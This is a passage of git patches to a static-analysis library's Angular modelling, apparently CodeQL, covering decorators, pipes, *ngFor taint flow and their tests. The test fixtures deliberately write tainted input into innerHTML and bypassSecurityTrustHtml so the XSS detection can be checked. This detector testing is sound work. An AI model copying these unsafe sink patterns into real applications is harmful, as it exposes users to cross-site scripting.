b/javascript/ql/src/semmle/javascript/dataflow/Nodes.qll index d7edc446f7e..29aa358b72d 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/Nodes.qll @@ -1007,6 +1007,13 @@ class ClassNode extends DataFlow::SourceNode { TypeAnnotation getFieldTypeAnnotation(string fieldName) { result = impl.getFieldTypeAnnotation(fieldName) } + + /** + * Gets a decorator applied to this class. + */ + DataFlow::Node getADecorator() { + result = impl.getADecorator() + } } module ClassNode { @@ -1064,6 +1071,9 @@ module ClassNode { * Gets the type annotation for the field `fieldName`, if any. */ TypeAnnotation getFieldTypeAnnotation(string fieldName) { none() } + + /** Gets a decorator applied to this class. */ + DataFlow::Node getADecorator() { none() } } /** @@ -1131,6 +1141,10 @@ module ClassNode { result = field.getTypeAnnotation() ) } + + override DataFlow::Node getADecorator() { + result = astNode.getADecorator().getExpression().flow() + } } private DataFlow::PropRef getAPrototypeReferenceInFile(string name, File f) { diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index 3c97ad52b41..22b9390c096 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -7,6 +7,7 @@ private import semmle.javascript.security.dataflow.Xss private import semmle.javascript.security.dataflow.CodeInjectionCustomizations private import semmle.javascript.security.dataflow.ClientSideUrlRedirectCustomizations private import semmle.javascript.DynamicPropertyAccess +private import semmle.javascript.dataflow.internal.PreCallGraphStep /** * Provides classes for working with Angular (also known as Angular 2.x) applications. @@ -239,4 +240,150 @@ module Angular2 { result = "Angular2::PipeRefExpr" } } + + /** The RHS of a `templateUrl` property, seen as a path expression. */ + private class TemplateUrlPath extends PathExpr { + TemplateUrlPath() { + exists(Property prop | + prop.getName() = "templateUrl" and + this = prop.getInit() + ) + } + + override string getValue() { + result = this.(Expr).getStringValue() + } + } + + /** + * Holds if the value of `attrib` is interpreted as an Angular expression. + */ + predicate isAngularExpressionAttribute(HTML::Attribute attrib) { + attrib.getName().matches("(%)") or + attrib.getName().matches("[%]") or + attrib.getName().matches("*ng%") + } + + /** + * Gets a global variable access to `name` within the given attribute. + */ + pragma[noinline] + private GlobalVarAccess getAGlobalVarAccessInAttribute(CodeInAttribute code, string name) { + exists(ComponentClass cls) and // do not materialize for non-Angular codebases + result.getTopLevel() = code and + result.getName() = name + } + + /** + * The class for an Angular component. + */ + class ComponentClass extends DataFlow::ClassNode { + DataFlow::CallNode decorator; + + ComponentClass() { + decorator = getADecorator() and + decorator = DataFlow::moduleMember("@angular/core", "Component").getACall() + } + + /** + * Gets a data flow node representing the value of the declared + * instance field of the given name. + */ + DataFlow::Node getFieldNode(string name) { + exists(FieldDeclaration f | + f.getName() = name and + f.getDeclaringClass().flow() = this and + result = f.getNameExpr().flow() + ) + } + + /** + * Gets a data flow node representing data flowing into a field of + * this component. + */ + DataFlow::Node getFieldInputNode(string name) { + result = getFieldNode(name) + or + result = getInstanceMember(name, DataFlow::MemberKind::setter()).getParameter(0) + } + + /** + * Gets a data flow node representing data flowing out of a field + * of this component. + */ + DataFlow::Node getFieldOutputNode(string name) { + result = getFieldNode(name) + or + result = getInstanceMember(name, DataFlow::MemberKind::getter()).getReturnNode() + or + result = getInstanceMethod(name) + } + + /** + * Gets the `selector` property of the `@Component` decorator. + */ + string getSelector() { + decorator.getOptionArgument(0, "selector").mayHaveStringValue(result) + } + + /** Gets an HTML element that instantiates this component. */ + HTML::Element getATemplateInstantiation() { + result.getName() = getSelector() + } + + /** Gets an argument that flows into the `name` field of this component. */ + DataFlow::Node getATemplateArgument(string name) { + result = getATemplateInstantiation().getAttributeByName("[" + name + "]").getCodeInAttribute().getChildStmt(0).(ExprStmt).getExpr().flow() + } + + /** Gets the `templateUrl` property of the `@Component` decorator. */ + string getTemplateUrl() { + decorator.getOptionArgument(0, "templateUrl").mayHaveStringValue(result) + } + + /** + * Gets the file referred to by `templateUrl`. + * + * Has no result if the template is given inline via a `template` property. + */ + pragma[noinline] + File getTemplateFile() { + result = decorator.getOptionArgument(0, "templateUrl").asExpr().(PathExpr).resolve() + } + + /** + * Gets an access to the variable `name` in the template body. + */ + DataFlow::Node getATemplateVarAccess(string name) { + exists(HTML::Attribute attrib | + attrib.getFile() = getTemplateFile() and + isAngularExpressionAttribute(attrib) and + result = getAGlobalVarAccessInAttribute(attrib.getCodeInAttribute(), name).flow() + ) + } + } + + private class ComponentSteps extends PreCallGraphStep { + override predicate step(DataFlow::Node pred, DataFlow::Node succ) { + exists(ComponentClass cls, string name | + // From <my-class [foo]="bar"/> to `foo` field in class + pred = cls.getATemplateArgument(name) and + succ = cls.getFieldInputNode(name) + or + // From `foo` field in class to <other-component [baz]="foo"/> + pred = cls.getFieldOutputNode(name) and + succ = cls.getATemplateVarAccess(name) + or + // From property write to the field input node + pred = cls.getAReceiverNode().getAPropertyWrite(name).getRhs() and + succ = cls.getFieldInputNode(name) + or + // From the field node to property read. + // We use `getFieldNode` instead of `getFieldOutputNode` as the other two cases + // from `getFieldOutputNode` are already handled by the general data flow library. + pred = cls.getFieldNode(name) and + succ = cls.getAReceiverNode().getAPropertyRead(name) + ) + } + } } From fcb8124376314a1bc95df40b7b6fb058063a6f4e Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Sat, 12 Dec 2020 20:50:55 +0000 Subject: [PATCH 0642/1241] JS: Expose data flow node for field declaration --- .../src/semmle/javascript/dataflow/DataFlow.qll | 16 ++++++++++++++++ .../semmle/javascript/frameworks/Angular2.qll | 2 +- 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll b/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll index 811c3b91c35..605eb6c4317 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll @@ -1308,6 +1308,22 @@ module DataFlow { nd = TFunctionReturnNode(function) } + /** + * INTERNAL: Do not use outside standard library. + * + * Gets a data flow node unique to the given field declaration. + * + * Note that this node defaults to being disconnected from the data flow + * graph, as the individual property reads and writes affecting the field are + * analyzed independently of the field declaration. + * + * Certain framework models may need this node to model the behavior of + * class and field decorators. + */ + DataFlow::Node fieldDeclarationNode(FieldDeclaration field) { + result = TPropNode(field) + } + /** * Gets the data flow node corresponding the given l-value expression, if * such a node exists. diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index 22b9390c096..e4caedc5542 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -293,7 +293,7 @@ module Angular2 { exists(FieldDeclaration f | f.getName() = name and f.getDeclaringClass().flow() = this and - result = f.getNameExpr().flow() + result = DataFlow::fieldDeclarationNode(f) ) } From debb5691a104c10d7887bf5ef6260ac763a57bda Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 11 Dec 2020 20:40:47 +0000 Subject: [PATCH 0643/1241] JS: Make PipeRefExpr a SourceNode --- javascript/ql/src/semmle/javascript/dataflow/Sources.qll | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/dataflow/Sources.qll b/javascript/ql/src/semmle/javascript/dataflow/Sources.qll index 25390f3c7f9..10347bfbfcb 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/Sources.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/Sources.qll @@ -308,7 +308,8 @@ module SourceNode { astNode instanceof DynamicImportExpr or astNode instanceof ImportSpecifier or astNode instanceof ImportMetaExpr or - astNode instanceof TaggedTemplateExpr + astNode instanceof TaggedTemplateExpr or + astNode instanceof Angular2::PipeRefExpr ) or DataFlow::parameterNode(this, _) From d80313be4ff6a776a06adfbea04c2e71e7ebef78 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 11 Dec 2020 20:44:31 +0000 Subject: [PATCH 0644/1241] JS: Model pipe classes --- .../semmle/javascript/frameworks/Angular2.qll | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index e4caedc5542..25944fc4c24 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -363,6 +363,26 @@ module Angular2 { } } + /** A class with the `@Pipe` decorator. */ + class PipeClass extends DataFlow::ClassNode { + DataFlow::CallNode decorator; + + PipeClass() { + decorator = DataFlow::moduleMember("@angular/core", "Pipe").getACall() and + decorator = getADecorator() + } + + /** Gets the value of the `name` option passed to the `@Pipe` decorator. */ + string getPipeName() { + decorator.getOptionArgument(0, "name").mayHaveStringValue(result) + } + + /** Gets a reference to this pipe. */ + DataFlow::Node getAPipeRef() { + result.asExpr().(PipeRefExpr).getName() = getPipeName() + } + } + private class ComponentSteps extends PreCallGraphStep { override predicate step(DataFlow::Node pred, DataFlow::Node succ) { exists(ComponentClass cls, string name | @@ -386,4 +406,13 @@ module Angular2 { ) } } + + private class PipeSteps extends PreCallGraphStep { + override predicate step(DataFlow::Node pred, DataFlow::Node succ) { + exists(PipeClass cls | + pred = cls.getInstanceMethod("transform") and + succ = cls.getAPipeRef() + ) + } + } } From 0da207a5f99c26370245bc9b359a34996ccb709b Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 11 Dec 2020 20:44:40 +0000 Subject: [PATCH 0645/1241] JS: Update test with pipes --- .../frameworks/Angular2/TestPipe.ts | 9 ++++++ .../frameworks/Angular2/foo.component.html | 7 +++-- .../frameworks/Angular2/foo.component.ts | 2 +- .../frameworks/Angular2/other.component.ts | 24 ++++++++++++++ .../frameworks/Angular2/test.expected | 31 ++++++++++++++----- .../library-tests/frameworks/Angular2/test.ql | 25 +++++++++++++++ 6 files changed, 88 insertions(+), 10 deletions(-) create mode 100644 javascript/ql/test/library-tests/frameworks/Angular2/TestPipe.ts create mode 100644 javascript/ql/test/library-tests/frameworks/Angular2/other.component.ts diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/TestPipe.ts b/javascript/ql/test/library-tests/frameworks/Angular2/TestPipe.ts new file mode 100644 index 00000000000..279ed58bc37 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Angular2/TestPipe.ts @@ -0,0 +1,9 @@ +import { Pipe, PipeTransform } from '@angular/core'; + +@Pipe({name: 'testPipe'}) +export class TestPipe implements PipeTransform { + transform(value: string, arg?: string): string { + document.body.innerHTML = value; + return value + arg; + } +} diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html b/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html index dc09bfd72d0..a2aa0b0d406 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html +++ b/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html @@ -1,4 +1,7 @@ <other-component - [prop]="foo | bar" - [prop2]="foo | bar:'baz'" + [prop1]="foo" + [prop2]="foo | unknownPipe" + [prop3]="foo | unknownPipe:'safe'" + [prop4]="foo | testPipe:'safe'" + [prop5]="42 | testPipe:foo" ></other-component> diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts index f654dc1c72d..90c7d5156e4 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts +++ b/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts @@ -8,6 +8,6 @@ export class Foo { foo: string; constructor() { - this.foo = "hello"; + this.foo = source(); } } diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/other.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/other.component.ts new file mode 100644 index 00000000000..2f6753224d2 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Angular2/other.component.ts @@ -0,0 +1,24 @@ +import { Component } from "@angular/core"; +import { DomSanitizer } from '@angular/platform-browser'; + +@Component({ + selector: "other-component", + template: "not important" +}) +export class OtherComponent { + prop1: string; + prop2: string; + prop3: string; + prop4: string; + prop5: string; + + constructor(private sanitizer: DomSanitizer) {} + + foo() { + this.sanitizer.bypassSecurityTrustHtml(this.prop1); + this.sanitizer.bypassSecurityTrustHtml(this.prop2); + this.sanitizer.bypassSecurityTrustHtml(this.prop3); + this.sanitizer.bypassSecurityTrustHtml(this.prop4); + this.sanitizer.bypassSecurityTrustHtml(this.prop5); + } +} diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected index 53ec4e0914d..baba3e894b0 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected @@ -1,10 +1,27 @@ pipeRef -| foo.component.html:2:19:2:21 | bar | -| foo.component.html:3:20:3:28 | bar:'baz' | +| foo.component.html:3:20:3:30 | unknownPipe | +| foo.component.html:4:20:4:30 | unknownPipe | +| foo.component.html:5:20:5:27 | testPipe | +| foo.component.html:6:19:6:26 | testPipe | pipeCall -| foo.component.html:2:13:2:21 | foo \| bar | -| foo.component.html:3:14:3:28 | foo \| bar:'baz' | +| foo.component.html:3:14:3:30 | foo \| unknownPipe | +| foo.component.html:4:14:4:37 | foo \| u ... :'safe' | +| foo.component.html:5:14:5:34 | foo \| t ... :'safe' | +| foo.component.html:6:14:6:30 | 42 \| testPipe:foo | pipeCallArg -| 0 | foo.component.html:2:13:2:15 | foo | foo.component.html:2:13:2:21 | foo \| bar | -| 0 | foo.component.html:3:14:3:16 | foo | foo.component.html:3:14:3:28 | foo \| bar:'baz' | -| 1 | foo.component.html:3:24:3:28 | 'baz' | foo.component.html:3:14:3:28 | foo \| bar:'baz' | +| 0 | foo.component.html:3:14:3:16 | foo | foo.component.html:3:14:3:30 | foo \| unknownPipe | +| 0 | foo.component.html:4:14:4:16 | foo | foo.component.html:4:14:4:37 | foo \| u ... :'safe' | +| 0 | foo.component.html:5:14:5:16 | foo | foo.component.html:5:14:5:34 | foo \| t ... :'safe' | +| 0 | foo.component.html:6:14:6:15 | 42 | foo.component.html:6:14:6:30 | 42 \| testPipe:foo | +| 1 | foo.component.html:4:32:4:37 | 'safe' | foo.component.html:4:14:4:37 | foo \| u ... :'safe' | +| 1 | foo.component.html:5:29:5:34 | 'safe' | foo.component.html:5:14:5:34 | foo \| t ... :'safe' | +| 1 | foo.component.html:6:28:6:30 | foo | foo.component.html:6:14:6:30 | 42 \| testPipe:foo | +pipeClass +| TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | +pipeClassRef +| TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | foo.component.html:5:20:5:27 | testPipe | +| TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | foo.component.html:6:19:6:26 | testPipe | +taintFlow +| foo.component.ts:11:20:11:27 | source() | other.component.ts:18:48:18:57 | this.prop1 | +| foo.component.ts:11:20:11:27 | source() | other.component.ts:21:48:21:57 | this.prop4 | +| foo.component.ts:11:20:11:27 | source() | other.component.ts:22:48:22:57 | this.prop5 | diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.ql b/javascript/ql/test/library-tests/frameworks/Angular2/test.ql index 103f5ba3ac3..da318e08d29 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/test.ql +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.ql @@ -1,4 +1,5 @@ import javascript +private import semmle.javascript.security.dataflow.Xss query Angular2::PipeRefExpr pipeRef() { any() } @@ -10,3 +11,27 @@ query CallExpr pipeCallArg(int i, Expr arg) { result.getCallee() instanceof Angular2::PipeRefExpr and result.getArgument(i) = arg } + +query Angular2::PipeClass pipeClass() { any() } + +query DataFlow::Node pipeClassRef(Angular2::PipeClass cls) { + result = cls.getAPipeRef() +} + +class TaintConfig extends TaintTracking::Configuration { + TaintConfig() { + this = "TaintConfig" + } + + override predicate isSource(DataFlow::Node source) { + source.(DataFlow::CallNode).getCalleeName() = "source" + } + + override predicate isSink(DataFlow::Node sink) { + sink instanceof DomBasedXss::Sink + } +} + +query predicate taintFlow(DataFlow::Node source, DataFlow::Node sink) { + any(TaintConfig c).hasFlow(source, sink) +} From 29dd8470d55d5fecd67f4c7e2e24af227c1216c8 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 11 Dec 2020 21:44:28 +0000 Subject: [PATCH 0646/1241] JS: Fix offset of *ngFor snippet --- .../extractor/src/com/semmle/js/extractor/HTMLExtractor.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java index 85eea2ae23e..672f526f23b 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java @@ -113,7 +113,7 @@ public class HTMLExtractor implements IExtractor { config.withSourceType(SourceType.ANGULAR_TEMPLATE), scopeManager, textualExtractor, - source, + source.substring(offset), valueStart.getRow(), valueStart.getColumn() + offset, false /* isTypeScript */); From 1ab36dc81f053fdca24eb41e0049830a0a856073 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 11 Dec 2020 21:50:09 +0000 Subject: [PATCH 0647/1241] JS: Flow through *ngFor loops --- .../semmle/js/extractor/HTMLExtractor.java | 15 ++++- .../semmle/javascript/frameworks/Angular2.qll | 59 ++++++++++++++++++- .../frameworks/Angular2/foo.component.html | 8 +++ .../frameworks/Angular2/foo.component.ts | 4 ++ .../frameworks/Angular2/test.expected | 7 ++- 5 files changed, 87 insertions(+), 6 deletions(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java index 672f526f23b..90f2cdf55d0 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java @@ -2,6 +2,7 @@ package com.semmle.js.extractor; import java.io.File; import java.nio.file.Path; +import java.util.regex.Matcher; import java.util.regex.Pattern; import com.semmle.extractor.html.HtmlPopulator; @@ -106,14 +107,22 @@ public class HTMLExtractor implements IExtractor { false /* isTypeScript */); } else if (isAngularTemplateAttributeName(attr.getName())) { // For an attribute *ngFor="let var of EXPR", start parsing at EXPR - int offset = attr.getName().equals("*ngFor") ? source.indexOf(" of ") + " of ".length() : 0; + int offset = 0; + if (attr.getName().equals("*ngFor")) { + Matcher m = ANGULAR_FOR_LOOP_DECL.matcher(source); + if (m.matches()) { + String expr = m.group(2); + offset = m.end(2) - expr.length(); + source = expr; + } + } snippetLoC = extractSnippet( TopLevelKind.eventHandler, config.withSourceType(SourceType.ANGULAR_TEMPLATE), scopeManager, textualExtractor, - source.substring(offset), + source, valueStart.getRow(), valueStart.getColumn() + offset, false /* isTypeScript */); @@ -147,6 +156,8 @@ public class HTMLExtractor implements IExtractor { name.startsWith("*ng"); } + private static final Pattern ANGULAR_FOR_LOOP_DECL = Pattern.compile("^ *let +(\\w+) +of(?: +|(?!\\w))(.*)"); + /** List of HTML attributes whose value is interpreted as JavaScript. */ private static final Pattern JS_ATTRIBUTE = Pattern.compile( diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index 25944fc4c24..5918edeacc9 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -274,6 +274,10 @@ module Angular2 { result.getName() = name } + private DataFlow::Node getAttributeValueAsNode(HTML::Attribute attrib) { + result = attrib.getCodeInAttribute().getChildStmt(0).(ExprStmt).getExpr().flow() + } + /** * The class for an Angular component. */ @@ -333,7 +337,7 @@ module Angular2 { /** Gets an argument that flows into the `name` field of this component. */ DataFlow::Node getATemplateArgument(string name) { - result = getATemplateInstantiation().getAttributeByName("[" + name + "]").getCodeInAttribute().getChildStmt(0).(ExprStmt).getExpr().flow() + result = getAttributeValueAsNode(getATemplateInstantiation().getAttributeByName("[" + name + "]")) } /** Gets the `templateUrl` property of the `@Component` decorator. */ @@ -415,4 +419,57 @@ module Angular2 { ) } } + + /** + * An attribute of form `*ngFor="let var of EXPR"`. + * + * The `EXPR` has been extracted as the sole `CodeInAttribute` top-level for this + * attribute. There is no AST node for the implied for-of loop. + */ + private class ForLoopAttribute extends HTML::Attribute { + ForLoopAttribute() { + getName() = "*ngFor" + } + + /** Gets a data-flow node holding the value being iterated over. */ + DataFlow::Node getIterationDomain() { + result = getAttributeValueAsNode(this) + } + + /** Gets the name of the variable holding the element of the current iteration. */ + string getIteratorName() { + result = getValue().regexpCapture("^ *let (\\w+) .*", 1) + } + + /** Gets an HTML element in which the iterator variable is in scope. */ + HTML::Element getAnElementInScope() { + result.getParent*() = getElement() + } + + /** Gets a reference to the iterator variable. */ + DataFlow::Node getAnIteratorAccess() { + exists(HTML::Attribute attrib | + attrib = getAnElementInScope().getAnAttribute() and + isAngularExpressionAttribute(attrib) and + result = getAGlobalVarAccessInAttribute(attrib.getCodeInAttribute(), getIteratorName()).flow() + ) + } + } + + /** + * A taint step `array -> elem` in `*ngFor="let elem of array"`, or more precisely, + * a step from `array` to each access to `elem`. + */ + private class ForLoopStep extends TaintTracking::AdditionalTaintStep { + ForLoopAttribute attrib; + + ForLoopStep() { + this = attrib.getIterationDomain() + } + + override predicate step(DataFlow::Node pred, DataFlow::Node succ) { + pred = this and + succ = attrib.getAnIteratorAccess() + } + } } diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html b/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html index a2aa0b0d406..fa6729eb5ed 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html +++ b/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html @@ -5,3 +5,11 @@ [prop4]="foo | testPipe:'safe'" [prop5]="42 | testPipe:foo" ></other-component> + +<div *ngFor="let element of taintedArray"> + <other-component [prop1]="element"></other-component> +</div> + +<div *ngFor="let element of safeArray"> + <other-component [prop2]="element"></other-component> +</div> diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts index 90c7d5156e4..a3258af0f8c 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts +++ b/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts @@ -6,8 +6,12 @@ import { Component } from "@angular/core"; }) export class Foo { foo: string; + taintedArray: string[]; + safeArray: string[]; constructor() { this.foo = source(); + this.taintedArray = [...source()]; + this.safeArray = ['a', 'b']; } } diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected index baba3e894b0..d6142ba9093 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected @@ -22,6 +22,7 @@ pipeClassRef | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | foo.component.html:5:20:5:27 | testPipe | | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | foo.component.html:6:19:6:26 | testPipe | taintFlow -| foo.component.ts:11:20:11:27 | source() | other.component.ts:18:48:18:57 | this.prop1 | -| foo.component.ts:11:20:11:27 | source() | other.component.ts:21:48:21:57 | this.prop4 | -| foo.component.ts:11:20:11:27 | source() | other.component.ts:22:48:22:57 | this.prop5 | +| foo.component.ts:13:20:13:27 | source() | other.component.ts:18:48:18:57 | this.prop1 | +| foo.component.ts:13:20:13:27 | source() | other.component.ts:21:48:21:57 | this.prop4 | +| foo.component.ts:13:20:13:27 | source() | other.component.ts:22:48:22:57 | this.prop5 | +| foo.component.ts:14:33:14:40 | source() | other.component.ts:18:48:18:57 | this.prop1 | From cc952bd2a4efcfb9b8eaa8db88f5dba63a1d13ec Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 11 Dec 2020 21:57:14 +0000 Subject: [PATCH 0648/1241] JS: Reorganize test a bit --- .../frameworks/Angular2/foo.component.html | 15 ------- .../frameworks/Angular2/other.component.ts | 24 ----------- .../frameworks/Angular2/sink.component.ts | 24 +++++++++++ .../frameworks/Angular2/source.component.html | 15 +++++++ .../{foo.component.ts => source.component.ts} | 10 ++--- .../frameworks/Angular2/test.expected | 42 +++++++++---------- 6 files changed, 65 insertions(+), 65 deletions(-) delete mode 100644 javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html delete mode 100644 javascript/ql/test/library-tests/frameworks/Angular2/other.component.ts create mode 100644 javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts create mode 100644 javascript/ql/test/library-tests/frameworks/Angular2/source.component.html rename javascript/ql/test/library-tests/frameworks/Angular2/{foo.component.ts => source.component.ts} (59%) diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html b/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html deleted file mode 100644 index fa6729eb5ed..00000000000 --- a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html +++ /dev/null @@ -1,15 +0,0 @@ -<other-component - [prop1]="foo" - [prop2]="foo | unknownPipe" - [prop3]="foo | unknownPipe:'safe'" - [prop4]="foo | testPipe:'safe'" - [prop5]="42 | testPipe:foo" -></other-component> - -<div *ngFor="let element of taintedArray"> - <other-component [prop1]="element"></other-component> -</div> - -<div *ngFor="let element of safeArray"> - <other-component [prop2]="element"></other-component> -</div> diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/other.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/other.component.ts deleted file mode 100644 index 2f6753224d2..00000000000 --- a/javascript/ql/test/library-tests/frameworks/Angular2/other.component.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { Component } from "@angular/core"; -import { DomSanitizer } from '@angular/platform-browser'; - -@Component({ - selector: "other-component", - template: "not important" -}) -export class OtherComponent { - prop1: string; - prop2: string; - prop3: string; - prop4: string; - prop5: string; - - constructor(private sanitizer: DomSanitizer) {} - - foo() { - this.sanitizer.bypassSecurityTrustHtml(this.prop1); - this.sanitizer.bypassSecurityTrustHtml(this.prop2); - this.sanitizer.bypassSecurityTrustHtml(this.prop3); - this.sanitizer.bypassSecurityTrustHtml(this.prop4); - this.sanitizer.bypassSecurityTrustHtml(this.prop5); - } -} diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts new file mode 100644 index 00000000000..a3464b9212a --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts @@ -0,0 +1,24 @@ +import { Component } from "@angular/core"; +import { DomSanitizer } from '@angular/platform-browser'; + +@Component({ + selector: "sink-component", + template: "not important" +}) +export class SinkComponent { + sink1: string; + sink2: string; + sink3: string; + sink4: string; + sink5: string; + + constructor(private sanitizer: DomSanitizer) {} + + foo() { + this.sanitizer.bypassSecurityTrustHtml(this.sink1); + this.sanitizer.bypassSecurityTrustHtml(this.sink2); + this.sanitizer.bypassSecurityTrustHtml(this.sink3); + this.sanitizer.bypassSecurityTrustHtml(this.sink4); + this.sanitizer.bypassSecurityTrustHtml(this.sink5); + } +} diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html b/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html new file mode 100644 index 00000000000..ba33720aae5 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html @@ -0,0 +1,15 @@ +<sink-component + [sink1]="taint" + [sink2]="taint | unknownPipe" + [sink3]="taint | unknownPipe:'safe'" + [sink4]="taint | testPipe:'safe'" + [sink5]="42 | testPipe:taint" +></sink-component> + +<div *ngFor="let element of taintedArray"> + <sink-component [sink1]="element"></sink-component> +</div> + +<div *ngFor="let element of safeArray"> + <sink-component [sink2]="element"></sink-component> +</div> diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/source.component.ts similarity index 59% rename from javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts rename to javascript/ql/test/library-tests/frameworks/Angular2/source.component.ts index a3258af0f8c..bd296c7a298 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts +++ b/javascript/ql/test/library-tests/frameworks/Angular2/source.component.ts @@ -1,16 +1,16 @@ import { Component } from "@angular/core"; @Component({ - selector: "foo-component", - templateUrl: "./foo.component.html" + selector: "source-component", + templateUrl: "./source.component.html" }) -export class Foo { - foo: string; +export class Source { + taint: string; taintedArray: string[]; safeArray: string[]; constructor() { - this.foo = source(); + this.taint = source(); this.taintedArray = [...source()]; this.safeArray = ['a', 'b']; } diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected index d6142ba9093..24286fe9058 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected @@ -1,28 +1,28 @@ pipeRef -| foo.component.html:3:20:3:30 | unknownPipe | -| foo.component.html:4:20:4:30 | 